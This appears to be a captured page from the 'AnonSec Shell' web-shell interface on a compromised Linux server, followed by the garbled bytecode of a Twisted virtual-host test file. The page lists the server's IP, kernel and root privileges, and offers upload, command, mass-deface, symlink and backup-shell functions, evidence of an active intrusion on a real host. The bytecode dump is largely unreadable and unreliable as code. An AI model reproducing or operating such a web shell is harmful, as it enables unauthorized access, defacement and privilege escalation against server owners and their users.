AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/twisted/web/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/twisted/web/test/__pycache__/test_vhost.cpython-310.pyc
o

5�@g8�@s�dZddlmZddlmZddlmZddlmZddl	m
Z
ddlmZddl
mZdd	lmZdd
lmZmZmZGdd�de�ZGd
d�de�ZGdd�de�ZdS)z!
Tests for L{twisted.web.vhost}.
�)�
gatherResults)�TestCase)�	NOT_FOUND)�
NoResource)�Site)�Data)�_render)�DummyRequest)�NameVirtualHost�VHostMonsterResource�
_HostResourcec@�eZdZdZdd�ZdS)�HostResourceTestsz%
    Tests for L{_HostResource}.
    cCs�tdd�}tdd�}tdd�}|�d|�|�d|�t�}t�}tdd�|_|�d|�tddg�}gd	�|_t|�|_	d
d�|_
d|_|�d|�}|�
|t�tddg�}|�d|�}|�
|t�d
S)z�
        L{_HostResource.getChild} returns the proper I{Resource} for the vhost
        embedded in the URL.  Verify that returning the proper I{Resource}
        required changing the I{Host} in the header.
        s	root data�suri datas	test datastestsurisdefault data�baz.com)sbar�httprcSsdS)NF�rrr�=/usr/lib/python3/dist-packages/twisted/web/test/test_vhost.py�<lambda>-sz1HostResourceTests.test_getChild.<locals>.<lambda>�N)r�putChildrr
�default�addHostr	�prepathr�site�isSecure�host�getChild�assertIsInstancer)�self�bazroot�bazuri�baztest�hr�root�request�steprrr�
test_getChilds&





zHostResourceTests.test_getChildN��__name__�
__module__�__qualname__�__doc__r'rrrrr�rc@sHeZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
dS)�NameVirtualHostTestsz'
    Tests for L{NameVirtualHost}.
    cCs2t�}tdd�|_tdg�}|�|�|�d�dS)z�
        L{NameVirtualHost.render} returns the result of rendering the
        instance's C{default} if it is not L{None} and there is no I{Host}
        header in the request.
        scorrect resultrN)r
rrr	�assertEqual�render)r�virtualHostResourcer%rrr�test_renderWithoutHost=s
z+NameVirtualHostTests.test_renderWithoutHostcs6t�}tdg��t|��}��fdd�}|�|�|S)z�
        L{NameVirtualHost.render} returns a response with a status of I{NOT
        FOUND} if the instance's C{default} is L{None} and there is no I{Host}
        header in the request.
        rc����jt�dS�N�r/�responseCoder��ignored�r%rrr�
cbRenderedR�zHNameVirtualHostTests.test_renderWithoutHostNoDefault.<locals>.cbRendered)r
r	r�addCallback�rr1�dr:rr9r�test_renderWithoutHostNoDefaultHs


z4NameVirtualHostTests.test_renderWithoutHostNoDefaultcs�t�}|�dtdd��tdg�}|j�dd�t||�}�fdd�}|�||�tdg�}|j�dd�t||�}�fd	d�}|�||�t||g�S)
z�
        L{NameVirtualHost.render} returns the result of rendering the resource
        which is the value in the instance's C{host} dictionary corresponding
        to the key indicated by the value of the I{Host} header in the request.
        sexample.org�winnerrr�hostc���d�|j�d�dS�Nrr@�r/�join�written)r8r%�rrrr:e�z<NameVirtualHostTests.test_renderWithHost.<locals>.cbRenderedsexample.org:8000crBrCrD)r8�requestWithPortrGrrr:orH)	r
rrr	�requestHeaders�addRawHeaderrr<r)rr1r%r>r:rI�	dWithPortrrGr�test_renderWithHostXs



z(NameVirtualHostTests.test_renderWithHostcsPt�}tdd�|_tdg���j�dd�t|��}��fdd�}|�|�|S)z�
        L{NameVirtualHost.render} returns the result of rendering the
        instance's C{default} if it is not L{None} and there is no host
        matching the value of the I{Host} header in the request.
        �correct datarrrA�example.comcs��d��j�d�dS)NrrNrDr7r9rrr:�rHzCNameVirtualHostTests.test_renderWithUnknownHost.<locals>.cbRendered)r
rrr	rJrKrr<r=rr9r�test_renderWithUnknownHostvs


z/NameVirtualHostTests.test_renderWithUnknownHostc�Dt�}tdg���j�dd�t|��}��fdd�}|�|�|S)z�
        L{NameVirtualHost.render} returns a response with a status of I{NOT
        FOUND} if the instance's C{default} is L{None} and there is no host
        matching the value of the I{Host} header in the request.
        rrArOcr3r4r5r7r9rrr:�r;zLNameVirtualHostTests.test_renderWithUnknownHostNoDefault.<locals>.cbRendered�r
r	rJrKrr<r=rr9r�#test_renderWithUnknownHostNoDefault�s


z8NameVirtualHostTests.test_renderWithUnknownHostNoDefaultcrQ)zs
        L{NameVirtualHost.render} doesn't echo unescaped HTML when present in
        the I{Host} header.
        rrAs<b>example</b>.comcs��d�j�dS)Nz<b>)�assertNotInrFr7r9rrr:�r;z@NameVirtualHostTests.test_renderWithHTMLHost.<locals>.cbRenderedrRr=rr9r�test_renderWithHTMLHost�s


z,NameVirtualHostTests.test_renderWithHTMLHostcCs�t�}tdd�}d|_tdd�}|�d|�|�d|�tg�}|j�dd�dg|_|�|�	d|�t
�|�|jdg�|�|jg�tg�}|j�dd�dg|_|�|�	d|�t�|�|jg�|�|jdg�d	S)
z�
        L{NameVirtualHost.getChild} returns correct I{Resource} based off
        the header and modifies I{Request} to ensure proper prepath and
        postpath are set.
        s	leaf datarTs	norm datasleaf.example.orgsnorm.example.orgrArN)
r
r�isLeafrr	rJrKrrrrr/�postpath)rr1�leafResource�normResourcer%rrrr'�s$

z"NameVirtualHostTests.test_getChildN)r)r*r+r,r2r?rMrPrSrUr'rrrrr.8sr.c@r
)�VHostMonsterResourceTestsz,
    Tests for L{VHostMonsterResource}.
    cCs^t�}tg�}|�|�d|�t�|�|���tg�}|�|�d|�t�|�|���dS)z�
        L{VHostMonsterResource.getChild} returns I{_HostResource} and modifies
        I{Request} with correct L{Request.isSecure}.
        rshttpsN)rr	rrr�assertFalser�
assertTrue)r�vhmr%rrrr'�sz'VHostMonsterResourceTests.test_getChildNr(rrrrrZ�r-rZN)r,�twisted.internet.deferr�twisted.trial.unittestr�twisted.web.httpr�twisted.web.resourcer�twisted.web.serverr�twisted.web.staticr�twisted.web.test._utilr�twisted.web.test.test_webr	�twisted.web.vhostr
rrrr.rZrrrr�<module>s$

Anon7 - 2022
AnonSec Team